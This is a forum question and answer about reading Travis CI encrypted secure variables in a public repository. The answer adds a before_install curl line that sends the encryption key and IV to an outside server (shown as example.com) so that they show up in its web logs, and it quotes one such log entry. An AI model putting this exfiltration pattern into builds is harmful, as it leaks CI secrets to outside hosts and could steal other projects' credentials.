Show content of secure variables in travis

Question

According to this question, you need to ssh to the debug build to see the content of secure variables in travis:

How I can decrypt secure env variables?

I would like to avoid to ssh to the debug build, since I have a public repo and the "ssh to debug build" option is only available for private repos.

Answer 1

I found a simple way to send me the content of these variables without revealing them to the build result.

I added one line to before_install:

- curl https://example.com/travis/$encrypted_c..._key/$encrypted_c..._iv

Of course I use a server where I can read the webserver logs instead of "example.com".

I found the content of the secure vars in the web server log:

localhost:443 52.45.185.117 - - [26/Jul/2017:13:26:21 +0200] 
    "GET /travis/cc..../a776... HTTP/1.1" 403 3652 "-" 
    "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 
    OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"

I could have added this, but this would reveal the content to the public:

echo $encrypted_c096724ab55d_key